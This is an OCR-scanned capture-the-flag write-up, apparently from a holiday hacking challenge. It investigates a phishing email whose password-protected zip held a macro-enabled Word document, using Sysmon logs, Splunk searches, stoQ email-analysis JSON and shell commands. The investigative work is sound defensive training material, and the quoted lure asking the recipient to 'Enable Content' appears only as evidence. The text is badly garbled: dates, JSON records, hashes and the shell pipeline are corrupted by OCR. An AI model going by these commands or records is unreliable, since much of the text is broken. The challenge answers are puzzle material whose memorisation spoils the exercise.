<Correlation/><Execution ProcessID='3552" ThreadlD='780'/><Channel>Microsof ional</Channel><C elfu.org</C

Data><Data Name='RuleName '></Data><Data Name='UtcTine'>2019-08-25 17:18:15.072</Data><Data Name=ProcessGuid' >(EBFTAIB6-F:

ity UserIo="s-1-5-18'/></s

Nare="Inage">C: \Windows\Explorer EXE</Data><Data Na
eationUtcTine!>2019-08-25 17:18:15.072¢/Data></EventData></Event>

Event Actions

Type ¥ Field Value Actions
Selected [/] EventCodev 11 v
] EventDescription » File Created v
] image ~ CiWindows\Explorer EXE v
/| TargetFilename = C:Windows\Temp\Temp1_Buttercups_HOLA04_assig PVt Century Holiday Cheer v
7] eventype » ms-sysmon-filemod (change endpoint filesystem ) v
Event Computer + sweetums effuorg v
CreationUtcTime = 2019.08-25 17:1815.072 v
EventChannel v Sysmon/Operational v

i pastz
weurs  AmAREvereog)
o

Syemancacrnenal

reetFilenane’>C: \Nindows\Tenp\Temp1_Buttercups_HOL404_assignment (002).2ip\1Sth Century Holiday Cheer Assignment.docne/Data><D

ac-aursisarrs
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Answer: 19th Century Holiday Cheer Assignment.docm

Results

¥ Training Question 4: Correct
%

Close
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Training Question #5:
How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value.
(Example: 1)

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000

Search:
e outlook
e smtp

Looking through logs and pivoting on specific fields leads to the refined search criteria below.

Search Range: All time
Search:
e smtp| top limit=100 "results{}.workers.iocextract.email{}"

erusoc

New Search

Save the list of 26 emails returned to email-log-data.txt file.
Then filter/analyze further using these commands:

cat email-log-data.txt | sed "s/\s\+/ /g" | cut -£f 1 -d ' ' | sed
Uy elic"Sialsr " [ upporei =gllowern: VNSO E Suniiag> email-list.txt
[cat email-list.txt | grep "students\|eifu.org" | wc -1

slingshot@slingshot: ~/working
File Edit View Search Terminal Help

Answer: 21

| Results

‘ Training Question 5: Correct
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'Training Question #6:
What was the password for the zip archive that contained the suspicious file?

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000
Search: smtp zip password

_time eventtype + results{}workers.smtp.subject = results{}.workers.smtp.from =

1 82519 re: holiday cheer assignment submission carl banas <carl.banas@faculty.elfu.org>
5:28:14.000 RE: Holiday Cheer Assignment Submission Carl Banas <Carl. Banas@faculty.elfu.org>
PM

{"results": [{"size": 6852, "payload_id": "b6@5ccd8-c15b-461c-81al-4eadcch3as9s”, "payload_meta": {"should_archive": true, "should_scan": true, "extra_data": {"filename": "157435729
7.VcaB1145e4aM628018. ip-172-31-47-72", "source_dir": "/home/ubuntu/Maildir/new"}, "dispatch_te": [J}, "plugins_run": {"workers": ["smtp"], "archivers": ["filedir"l}, "extracted_fro
m": [1, "extracted_by": [J, "workers": {"smtp": {"return-path": "<Carl.Banas&faculty.elfu.org>", "x-original-to": "ubuntuBec2-54-89-48-176.compute-1.amazonaws.com", "delivered-to":
"ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com", "received": "from NAM@3-CO1-obe.outbound.protection.outlook.com (mail-eopbgr798115.0utbound.protection.outlook.com [40.187.79.11
51)\tby ec2-54-89-48-176.compute-1.amazonaws.com (Postfix) with ESMTP id 5383245E43\tfor <ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com>; Wed, 29 May 20813 17:28:17 +0008@ (UTC)\nfr
om BN7PR13MB2547.namprd13. prod.outlook.com (52.135.254.38) by BN7PR13MB2275.namprd13.prod.outlook.com (52.135.253.156) with Microsoft SMTP Server (version=TLS$1_2, cipher=TLS_ECDHE_R
SA_WITH_AES_256_GCM_SHA384) id 15.20.2474.12; Wed, 29 May 2019 17:28:14 +@0@0\nfrom BNTPR13MB2547.namprd13.prod.outloock.com ([fe80::c919:fede:682f:4364]) by BNIPR13MB2547.namprdi3.p
rod.outlook.com ([fe80::c919:fede:682f:4364%3]) with mapi id 15.20.2495.010; Wed, 29 May 2019 17:28:14 +0000", "arc-seal": "i=1; a=rsa-sha256; s=arcselector3301; d=microsoft.com; cv
=none; b=CTN+N6BsWINIZqgscrx6Ygl EBWZXyLIyUBSXWIMNFK3A/UHSMY 1 11MKedySdviNpwK Ink t TRWNAWAADKNT TAUSxvIqndqwhol SzwAs] 9zqLLaKBYETFpfeeSZ0122GIseTF1a000C21 £ rLwESGAZKPSOCEQI4tewdWup +h/51D
KynAwCESuCys4T JMJ@AdHMSZwwUB4GhToP4agubgy X tKMCPSRP+8WLxWwPoaMGPINPEFKpt /1D 1bal dowYAvwxMjaWa jwaZulLMC+RA4BCmp/ ntuTWPeI 290ugkHCS+ShESOVVZULGTBOWCAxKEfa5ZdpXr/OKs4RsIg4KyNkA==", "arc-m
essage-signature": "i=1; a=rsa-sha236; c=relaxed/relaxed; d=microsoft.com; s=arcselector3381; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-M5-Exchange-SenderADCheck; b
h=eho+HOP13yisNysizTIsQyQXumALQpEfXG6QOTBNYUTI=; b=HsAvTiwhVzGcOFSTyYO+C4dFavBCTvNg1LAAOLIwaOABTdYBxp10]1uPSZIUIOWFpWnEqay +renmea/Ha/67Q+uTp3y+/AyyF68RDa8xmr shavZPwyLfhY5snP2YcoloBelL
I+AX@6X+ZR3ZICIBrFMGEVUPENPYPX1VOCZYZY28VONN1aU7ypbIxuedB/MDxpINZTZtYONSak 3 reUaf shrNeA7cnsAFWK145720auN405CdabfwlvIL3swxoyDdry6YFDAFPYNPizwpX joAhy+6u8BOBLF SkUydeST4ye@XQZoLYroG+bLis
Zi30ngslhdhBYtBz01g3bYE3aNYNe , "arc-authentication-results": " mx.microsoft.com 1; spf=pass smtp.mailfrom=faculty.elfu.org; dmarc=pass action=none header.from=faculty.elfu.o
rg; dkim=pass header.d=faculty.elfu.org; arc=none", "dkim-signature": "v=1; a=rsa-sha256; c=relaxed/relaxed; d=Elfu257.onmicrosoft.com; s=selector1-Elfu2s7-onmicrosoft-com; h=From:D
ate:Subject:Message-ID:Content-Type:MIME-Version:X-Ms-Exchange-SenderADCheck; bh=cho+tHBP19y1isNysjzTIsQyQXumAlQpefX6qBTBNYUTI=; b=hCvY¥1B1KfNjTO1zy9iCIICTEI0FZ0095SM/ +yJWFDRCEOYNCCIVR
BBh/LhmgAb6Uz+302En4z+vMc/hqCqaS6CFPYEbXMn 25t bMRIPevfe3ioR 8/CFX9yalVeICogF ynctvGT1mjFKDNLNDYORhkqF Xgr3vXySGB2ydMMamd2M=", "from": "Carl Banas <Carl.Banas@faculty.elfu.org>", "to":
"Bradly Buttercups <Bradly.Buttercups@eIfu.org>", "subject": "RE: Holiday Cheer Assignment Submission’, "thread-topic": "Holiday Cheer Assignment Submission’, "thread-index": "AQHVo
I+SQeRsWPDoZk66r1STkiNldaeV4KLA", "date": "Wed, 29 May 20813 17:28:14 +800@", "message-id": " <BN7PR13MB2547030B524AA756ED86D1EEAT4EG@BNTPR13MB2547. namprd13.prod. outlook.com>", "refe
rences": "<281911211717. xALHHWER207446@€dwar . "in-reply-to": "<2081911211717.xALHHWER207446€dwar f>", "accept-language": "en-US", "content-language": "en-US", "x-ms-has-attach": "",
"w | authentication-results”: "spf=none (sender IP is ) smtp.mailfrom=Carl.Banasefaculty.elfu.org; ", "x-originating-ip": "[74.221.181.14]", "x-ms-publictraf
fictype": "Email", "x-ms-office365-filtering-correlation-id": "3e9b9e78-2afa-48aa-2c2e-08d76eaB3094", "x-ms-traffictypediagnostic": "BNJPR13MB2275:|BN7PR13MB2275:
ispam-prvs": " <BNTPR13MB2275BD4ED08631C422C728BFATAEBEBNTPR13MB2275. namprd13. prod. outlook. com>", "x-ms-exchange-transport-forked": "True", "x-ms-exchange-transport-rules-loop": "
1", "x-ms-oob-tlc-oobclassifiers": "OLM:1323;", "x-forefront-prvs": "@228000DDT", "x-forefront-antispam-report”: " SFV:NSPM;SFS:(18013028)(376602)(34036005) (33830400003 )(366004) (396
083)(136003)(346002)(189003)(139004)(13464003)(438600001)(186003)(7736002) (71200400001 ) (6506007 )(26005)(229853002)(586005) (7636005 (T6176011)(11346002)(446003)(33656002) (3861040000
1)(53546011)(305345005) (102836004 )(256004)(74316002) (5024004) (14444005) (25786009 ) (14454004) (71130400001 )(6116002) (3846002) (5246003 )(81156014)(9686003)(6436002)(55016002)(8936002)(36
76002)(2306002) (6362004 ) (66946007 ) (664760071 (66556008)(64756008) (664460038)(52536014)(4744005) (5660300002 ) (66066001 )(3430700005)(81166006)(33286004)(86362001)(76116006);DIR:0UT;SFP:1
182;SCL:1;SRVR:BN7PR13MB2275; H: BNTPR13MB2547 . namprd13. prod. outlook. com; FPR: ; SPF: None; LANG: en; PTR: InfoNoRecords;MX:1;A:0; ", "received-spf": "Nene (protection.outlook.com: faculty.elf
u.org does not designate permitted sender hosts)", "x-ms-exchange-senderadcheck": "1", "x-microsoft-antispam': "BCL: "x-microsoft-antispam-message-info": " r3XtI4jx0e6qxWT1CIji3
BIfngM/raDegdvYNocSyqspDU3JtydG2FGBS6TaEU+dFXShBYAHcbovxekRAKWU+HKPUSePmEUChI Kt T3QMUtVKSUTEDKCYNKY j to120TXPTINTOCQXOLFNG+LVKTMLe 2COP7wm4C6BC0I1 gGMUVH2P8BPTbf nzSVSADGhWx j FE+ZBZa0BFra/a
6pe9z21Vm44j+ChCBNK000I 3 jx2UckGpF JHEIMSYXyiuFudgIsmFBmf Zsswd7s1oub3Tvarbmb@bMXKpIdF IpHnyprinybyqFyviTytY10wass ]9/ 96WALXGURTKI 420HUYRTBI 1581 XNEPURASWS 21 144bpRT xFHTFmz1 cTh4MNR1+DBIrs
WYETyXv4ZzEk TM20aBUDNaUCDDhe@ wSThei 1 jw8eZaymAYESKCDYHGNOWNdQoI3W", "content-type": "text/plain; charset=\"utf-8\"", "content-transfer-encoding": "base64", "mime-version": "1.8", "x
-originatororg": "faculty.elfu.org", "x-ms-exchange-crosstenant-network-message-id": "3e9b9e70-2afa-48aa-2c2e-08d76ea83094", "x-ms-exchange-crosstenant-originalarrivaltime": "29 May
2013 17:28:14.2823 (UTC)", "x-ms-exchange-crosstenant-fromentityheader": "Hosted", "x-ms-exchange-crosstenant-id": "f3127d8b-83dd-44fd-94b5-9923e78113a8d", "x-ms-exchange-crosstenant
-mailboxtype": "HOSTED", "x-ms-exchange-crosstenant-userprincipalname”: "VySof4vivvNp/D3MhnL5swMIZQnBncfORKTF tfomFX2Mx8Ep1xCX3Ge28K0q1BPEf 2hXWphjepz Ymd+FKrQ@pLrjfsR/TTEIdbkLrDbavtd
=", "x-ms-exchange-transport-crosstenantheadersstamped”: "BN7PR13MB2275", "body": "Bradly, \r\n\r\nI opened your assignment (which was not easy, by the way) and it seems you have no
t only not included an image per the instructions, but your assignment is identical to another student's assignment. This means your grade will be 8/108. \r\n\r\n-csb\rinm\rin-----
original Message----- \r\nFrom: Bradly Buttercups <Bradly.Buttercups@eIfu.org> \r\nSent: Sunday, August 25, 2619 3:18 AM\r\nTo: Carl Banas <Carl.Banas@faculty.elfu.org>\r\nsubject: H
oliday Cheer Assignment Submission\rin\r\n\r\nProfessor Banas, I have completed my assignment. Please open the attached zip file with password 123456789 and then open the word docum
ent to view it. You will have to click \"Enable Editing\" then \"Enable Content\" to see it. This was a fun assignment. T hope you like it! --Bradly Buttercups\rin\r\n\rin", "body_
html": ""}}, "archivers": {"filedir": {"path": "/home/ubuntu/archive/6/0/e/6/0/60e603b3852a18cb3a57e16732f3F19Fa87793bb"}1}, {"size": 1562, "payload_id": "48283659-325b-4d53-b413-07
dc1305bbla", "payload_meta": {"should_archive": false, "should_scan": true, "extra_data": {}, "dispatch_to": ["iocextract"l}, "plugins_run": {"workers": ["iocextract"l, "archivers":
[1r, "extracted_from": ["b6@5ccd8-c15b-461c-81a1-4eadcch8as9s”], "extracted by": ["smtp"], "workers": {"iocextract": {"ipv4": ["52.135.254.30", "40.107.79.115", "52.135.253.156", "7
4.221.181.14"], "ipve": ["fe80::c919:fede:6827:4364"], "email": ["ubuntu@ec2-54-89-43-176.compute-1.amazonaws.com", "Carl.Banas@faculty.elfu.org", "Bradly.Buttercupséeifu.org"l, "do
main": ["faculty.elfu.org", "bn7pri3mb2547.namprd13.prod.cutlook.com", "mail-eopbgr79e115.outbound. protection.outlook.com", "eifu.org", "bn7pri3mb2275.namprdi3.pred.outlock.com", "e
€2-54-89-48-176. compute-1. amazonaws.com", "nam@3-col-obe.outbound.protection.outlook.com"1}}, "archivers": {3}], "request_meta": {"archive_payloads": true, "source": null, "extra_da
ta": {J}, "errors": [J, "time": "2019-11-21T17:28:17.729742", "decorators": {}, "scan_id": "Be6c5c38-ab6b-4545-86be-c632273d0484"}

"x-ms-tnef-correlator":

, "x-microsoft-ant

Then expand raw text and you will see this:

Professor Banas, | have completed my assignment. Please open the attached zip file with password 123456789 and then open the word
document to view it. You will have to click \"Enable Editing\" then \"Enable Content\" to see it. This was a fun assignment. | hope you like

it! --Bradly Buttercups

Answer: 123456789

Results

Training Question 6: Correct )
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'Training Question #7:
What email address did the suspicious file come from?

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000
Search: smtp "results{}.workers.iocextract.email{}"="bradly.buttercups @eifu.org"

_time eventtype + resultsfj.workers.smtp.subject = results{).workers.smtp.from +

1 82519 re: holiday cheer assignment submission carl banas <carl.banas@faculty.elfu.org>
5:28:14.000 RE: Holiday Cheer Assignment Submission Carl Banas <Carl. Banas@faculty.elfu.org>
PM

{"results": [{"size": 6852, "payload_id": "b6@5ccd8-c15b-461c-81al-4eadcch3as9s”, "payload_meta": {"should_archive": true, "should_scan": true, "extra_data": {"filename": "157435729
7.VcaB1145e4aM628018. ip-172-31-47-72", "source_dir": "/home/ubuntu/Maildir/new"}, "dispatch_te": [J}, "plugins_run": {"workers": ["smtp"], "archivers": ["filedir"l}, "extracted_fro
": [1, "extracted_by": [], "workers": {"smtp": {"return-path": "<Carl.Banas@faculty.elfu.org>", "x-original-to": "ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com", "delivered-to":
"ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com", "received": "from NAM@3-CO1-obe.outbound.protection.outlook.com (mail-eopbgr798115.0utbound.protection.outlook.com [40.187.79.11

51)\tby ec2-54-89-48-176.compute-1.amazonaws.com (Postfix) with ESMTP id 5383245E43\tfor <ubuntu@ec2-54-89-48-176.compute-1.amazonaws.com>; Wed, 29 May 20813 17:28:17 +0008@ (UTC)\nfr
om BN7PR13MB2547.namprd13. prod.outlook.com (52.135.254.38) by BN7PR13MB2275.namprd13.prod.outlook.com (52.135.253.156) with Microsoft SMTP Server (version=TLS$1_2, cipher=TLS_ECDHE_R
SA_WITH_AES_256_GCM_SHA384) id 15.20.2474.12; Wed, 29 May 2019 17:28:14 +@0@0\nfrom BNTPR13MB2547.namprd13.prod.outloock.com ([fe80::c919:fede:682f:4364]) by BNIPR13MB2547.namprdi3.p
rod.outlook.com ([fe80::c919:fede:682f:4364%3]) with mapi id 15.20.2495.010; Wed, 29 May 2019 17:28:14 +0000", "arc-seal": "i=1; a=rsa-sha256; s=arcselector3301; d=microsoft.com; cv
=none; b=CTN+N6BsWINIZqgscrx6Ygl EBWZXyLIyUBSXWIMNFK3A/UHSMY 1 11MKedySdviNpwK Ink t TRWNAWAADKNT TAUSxvIqndqwhol SzwAs] 9zqLLaKBYETFpfeeSZ0122GIseTF1a000C21 £ rLwESGAZKPSOCEQI4tewdWup +h/51D
KynAwCESuCys4T JMJ@AdHMSZwwUB4GhToP4agubgy X tKMCPSRP+8WLxWwPoaMGPINPEFKpt /1D 1bal dowYAvwxMjaWa jwaZulLMC+RA4BCmp/ ntuTWPeI 290ugkHCS+ShESOVVZULGTBOWCAxKEfa5ZdpXr/OKs4RsIg4KyNkA==", "arc-m
essage-signature": "i=1; a=rsa-sha236; c=relaxed/relaxed; d=microsoft.com; s=arcselector3381; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-M5-Exchange-SenderADCheck; b
h=eho+HOP13yisNysizTIsQyQXumALQpEfXG6QOTBNYUTI=; b=HsAvTiwhVzGcOFSTyYO+C4dFavBCTvNg1LAAOLIwaOABTdYBxp10]1uPSZIUIOWFpWnEqay +renmea/Ha/67Q+uTp3y+/AyyF68RDa8xmr shavZPwyLfhY5snP2YcoloBelL
I+AX@6X+ZR3ZICIBrFMGEVUPENPYPX1VOCZYZY28VONN1aU7ypbIxuedB/MDxpINZTZtYONSak 3 reUaf shrNeA7cnsAFWK145720auN405CdabfwlvIL3swxoyDdry6YFDAFPYNPizwpX joAhy+6u8BOBLF SkUydeST4ye@XQZoLYroG+bLis
Zi30ngslhdhBYtBz01g3bYE3aNYNe , "arc-authentication-results": " mx.microsoft.com 1; spf=pass smtp.mailfrom=faculty.elfu.org; dmarc=pass action=none header.from=faculty.elfu.o
rg; dkim=pass header.d=faculty.elfu.org; arc=none", "dkim-signature": "v=1; a=rsa-sha256; c=relaxed/relaxed; d=Elfu257.onmicrosoft.com; s=selector1-Elfu2s7-onmicrosoft-com; h=From:D
ate:Subject:Message-ID:Content-Type:MIME-Version:X-Ms-Exchange-SenderADCheck; bh=cho+tHBP19y1isNysjzTIsQyQXumAlQpefX6qBTBNYUTI=; b=hCvY¥1B1KfNjTO1zy9iCIICTEI0FZ0095SM/ +yJWFDRCEOYNCCIVR
BBh/LhmgAb6Uz+302En4z+vMc/hqCqaS6CFPYEbXMn 25t bMRIPevfe3ioR 8/CFX9yalVeICogF ynctvGT1mjFKDNLNDYORhkqF Xgr3vXySGB2ydMMamd2M=", "from": "Carl Banas <Carl.Banas@faculty.elfu.org>", "to":
"Bradly Buttercups <Bradly.Buttercups@eIfu.org>", "subject": "RE: Holiday Cheer Assignment Submission’, "thread-topic": "Holiday Cheer Assignment Submission’, "thread-index": "AQHVo
I+SQeRsWPDoZk66r1STkiNldaeV4KLA", "date": "Wed, 29 May 20813 17:28:14 +800@", "message-id": " <BN7PR13MB2547030B524AA756ED86D1EEAT4EG@BNTPR13MB2547. namprd13.prod. outlook.com>", "refe
rences": "<281911211717. xALHHWER207446@€dwar . "in-reply-to": "<2081911211717.xALHHWER207446€dwar f>", "accept-language": "en-US", "content-language": "en-US", "x-ms-has-attach": "",

, "authentication-results*: "spf=none (sender IP is ) smtp.mailfrom=Carl.Banaséfaculty.elfu.org; ", "x-originating-ip": "[74.221.181.14]", "x-ms-publictraf

m

"x-ms-tnef-correlator":

fictype": "Email”, "x-ms-office365-filtering-correlation-id": "3edbJe7-2afa-48az-2c2e-08d76ea83094", "x-ms-traffictypediagnostic’: "BNTPR13MB2275:|BNTPRI3MB2275:", "x-microsoft-ant
ispam-prus": " <BNTPRI3MB22750DAEDES6T1C422CT28BFAT4EREBNTPR13MB2275 . namprd 3. prod. outlook. com>”, "x-ms-exchange-transport-forked": "True", "x-ms-exchange-transport-rules-loop": "
1", "x-ms-oob-tlc-oobclassifiers”: "0LM:1923;", "x-forefront-prvs": "02280DDDDT", "x-forefront-antispam-report”: " SFV:NSPM;SFS:(16019020)(376002)(34095005) (39830400003 )(366804)(396

083)(136003)(346002)(189003)(139004)(13464003)(438600001)(186003)(7736002) (71200400001 ) (6506007 )(26005)(229853002)(586005) (7636005 (T6176011)(11346002)(446003)(33656002) (3861040000
1)(53546011)(305345005) (102836004 )(256004)(74316002) (5024004) (14444005) (25786009 ) (14454004) (71130400001 )(6116002) (3846002) (5246003 )(81156014)(9686003)(6436002)(55016002)(8936002)(36
76002)(2306002) (6362004 ) (66946007 ) (664760071 (66556008)(64756008) (664460038)(52536014)(4744005) (5660300002 ) (66066001 )(3430700005)(81166006)(33286004)(86362001)(76116006);DIR:0UT;SFP:1
182;SCL:1;SRVR:BN7PR13MB2275; H: BNTPR13MB2547 . namprd13. prod. outlook. com; FPR: ; SPF: None; LANG: en; PTR: InfoNoRecords;MX:1;A:0; ", "received-spf": "Nene (protection.outlook.com: faculty.elf
u.org does not designate permitted sender hosts)", "x-ms-exchange-senderadcheck": "1", "x-microsoft-antispam': "BCL: "x-microsoft-antispam-message-info": " r3XtI4jx0e6qxWT1CIji3
BIfngM/raDegdvYNocSyqspDU3JtydG2FGBS6TaEU+dFXShBYAHcbovxekRAKWU+HKPUSePmEUChI Kt T3QMUtVKSUTEDKCYNKY j to120TXPTINTOCQXOLFNG+LVKTMLe 2COP7wm4C6BC0I1 gGMUVH2P8BPTbf nzSVSADGhWx j FE+ZBZa0BFra/a
6pe9z21vm44j+ChbCB8Nk000I 3 xzUckGpF JHGIm5Y Xy iuFudgIsmFBmf ZSswd7sloub3Tvarbmb@bMXKpSdF jpHny fprvnybyaFviTytY10wasSj9/I6WA1x6URTKI420HUYRTBI1S81XxNEPURASWS 21 144bpRT jxFHTFmz1c Th4MNR1+DBIrs
WYETyXv4ZzEk TM20aBUDNaUCDDhe@ wSThei 1 jw8eZaymAYESKCDYHGNOWNdQoI3W", "content-type": "text/plain; charset=\"utf-8\"", "content-transfer-encoding": "base64", "mime-version": "1.8", "x
-originatororg": "faculty.elfu.org", "x-ms-exchange-crosstenant-network-message-id": "3e9b9e70-2afa-48aa-2c2e-08d76ea83094", "x-ms-exchange-crosstenant-originalarrivaltime": "29 May
2013 17:28:14.2823 (UTC)", "x-ms-exchange-crosstenant-fromentityheader": "Hosted", "x-ms-exchange-crosstenant-id": "f3127d8b-83dd-44fd-94b5-9923e78113a8d", "x-ms-exchange-crosstenant
-mailboxtype": "HOSTED", "x-ms-exchange-crosstenant-userprincipalname”: "VySof4vivvNp/D3MhnL5swMIZQnBncfORKTF tfomFX2Mx8Ep1xCX3Ge28K0q1BPEf 2hXWphjepz Ymd+FKrQ@pLrjfsR/TTEIdbkLrDbavtd
=", "x-ms-exchange-transport-crosstenantheadersstamped”: "BN7PR13MB2275", "body": "Bradly, \r\n\r\nI opened your assignment (which was not easy, by the way) and it seems you have no

t only not included an image per the instructions, but your assignment is identical to another student's assignment. This means your grade will be 8/108. \r\n\r\n-csb\rinm\rin-----
original Message----- \r\nFrom: Bradly Buttercups <Bradly.Buttercups@eIfu.org> \r\nSent: Sunday, August 25, 2619 3:18 AM\r\nTo: Carl Banas <Carl.Banas@faculty.elfu.org>\r\nsubject: H
oliday Cheer Assignment Submission\rin\r\n\r\nProfessor Banas, I have completed my assignment. Please open the attached zip file with password 123456789 and then open the word docum
ent to view it. You will have to click \"Enable Editing\" then \"Enable Content\" to see it. This was a fun assignment. T hope you like it! --Bradly Buttercups\rin\r\n\rin", "body_
html": ""}}, "archivers": {"filedir": {"path": "/home/ubuntu/archive/6/0/e/6/0/60e603b3852a18cb3a57e16732f3F19Fa87793bb"}1}, {"size": 1562, "payload_id": "48283659-325b-4d53-b413-07
dc1305bbla", "payload_meta": {"should_archive": false, "should_scan": true, "extra_data": {}, "dispatch_to": ["iocextract"l}, "plugins_run": {"workers": ["iocextract"l, "archivers":
[1r, "extracted_from": ["b6@5ccd8-c15b-461c-81a1-4eadcch8as9s”], "extracted by": ["smtp"], "workers": {"iocextract": {"ipv4": ["52.135.254.30", "40.107.79.115", "52.135.253.156", "7
4.221.181.14"], "ipve": ["fe80::c919:fede:6827:4364"], "email": ["ubuntu@ec2-54-89-43-176.compute-1.amazonaws.com", "Carl.Banas@faculty.elfu.org", "Bradly.Buttercupséeifu.org"l, "do
main": ["faculty.elfu.org", "bn7pri3mb2547.namprd13.prod.cutlook.com", "mail-eopbgr79e115.outbound. protection.outlook.com", "eifu.org", "bn7pri3mb2275.namprdi3.pred.outlock.com", "e
€2-54-89-48-176. compute-1. amazonaws.com", "nam@3-col-obe.outbound.protection.outlook.com"1}}, "archivers": {3}], "request_meta": {"archive_payloads": true, "source": null, "extra_da
ta": {J}, "errors": [J, "time": "2019-11-21T17:28:17.729742", "decorators": {}, "scan_id": "Be6c5c38-ab6b-4545-86be-c632273d0484"}

Having a list of email addresses that sent email to Professor Banas and knowing from training question #6 that it was sent

from "Bradly Buttercups", the answer is the email of Bradly Buttercups.

Answer: bradly.buttercups@eifu.org

Results

Training Question 7: Correct
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" Final Challenge Question:
What was the message for Kent that the adversary embedded in this attack?

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:32:00.000
Search: smtp ubuntu buttercups
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null
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null
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attachment

attachment
15743566587Ca0145644mE67617Ip-172-31-47-72
buttercups_hol404_assignment.zip

19th century holiday cheer assignment.docm
[content_types]xmi

decumentxmi

stylesxmi

settings.xmi

wbadataxmi

fonttable xml

websettings.xml

wvbaprojectbin

documentxmirels.

vbaproject bin.rels

themet.xmi

itemtxmi

itempropstxml

itemixmirels

rels
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corexml

1574356658 Vca0l45e44MB676171p-172-31-47-72
Buttercups_HOL404_assignment.zip

19th Century Holiday Cheer Assignment.docm
0
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Then find all the urls to the email archive, download each one to find the one for core.xml

http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/7/f/6/3/a/7f63ace9873ce7326199e464adfdaad76a4c4elb
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/b/b/3/d/9bb3d1b233ee039315fd36527e0b565e7d4b778f
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/b/e/7/b/9/be7b9b92a7acd38d39e86f56e89ef189f9d8ac2d
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/e/a/4/4/1ea44e753bd217e0edae781e8b5b5c39577c582f
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/e/e/b/4/0/eeb40799bae524d10d8df2d65e5174980c7a9a91
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/8/f/3/3/18f3376a0ce18b348c6d0a4badec35cde2cab300
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/2/a/8/0/f2a801de2e254e15840460f4a53e568f6622c48b
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/0/7/4/0/1074061aa9d9649d294494bb0ae40217b9c7a2d9
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/8/6/c/4/d/86c4d8a2f37c6b4709273561700640a6566491b1
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/a/2/b/b/1/a2bbl4afe8161ee9bd4abealOef5a9281e42cd09
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/4/0/d/c/1/40dc1e00e2663cb33f8c296cdb0Ocd52fa07a87b6
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/5/c/b/a/f5cba8a650d6ada98d170f1b22098d93b8ff8879
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/0/2/b/6/7/02b67cad55d2684115a7de04d0458a3af46b12c6
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/1/7/6/1/2/1761214092f5c0e375ab3bc58a8687134b7f2582
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/b/7/7/0/f/b770f3a79423882bdae4240e995c0885770022¢ef
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/d/7/a/b/9d7abf0eedeffcecad80c8bbfb276079a05b4342
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/e/9/2/1/1/€9211c706be234c20d3c02123d85fea50ae638fd
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/f/f/1/e/a/ffleabf13be3faabd0da728f514deb7fe3577cc4
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/7/f/6/3/a/7f63ace9873ce7326199e464adfdaad76a4cdel6
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/9/b/b/3/d/9bb3d1b233ee039315fd36527e0b565e7d4b778f
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ Artifacts/home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af

core.xml is located here:
/home/ubuntu/archive/f/f/1/e/a/ffleabfl3be3faabd0da728f514deb7fe3577ccl
http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ%20Artifacts/home/ubuntu/archive/f/f/1/e/a/

Mozilla Firefox 2 &
elfu-soc.s3-website-us= X | 4
& ¢ & © | & elfu-soc.s3-website-us-east-1.amazonaws.com ¥ n o e® =
Last Modified Size Key
L
2019-11-29T23:00:19.080Z 0.9 kB fflea6fl3be3faabddda728f514deb7fe3577ccd
slingshot@slingshot: ~/working I RLX

File Edit View Search Terminal Help

Answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

Congratulations!
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http://elfu-soc.s3-website-us-east-1.amazonaws.com/?prefix=stoQ%20Artifacts/home/ubuntu/archive/f/f/1/e/a/

Training Center

Congratulations!

Challenge Questlon

e for Kent that the adversary embedded in this attack? the King of the Winter Carmival.

Tralning Questlons Status

What is the short name of Professor Banas' computer? sweetums

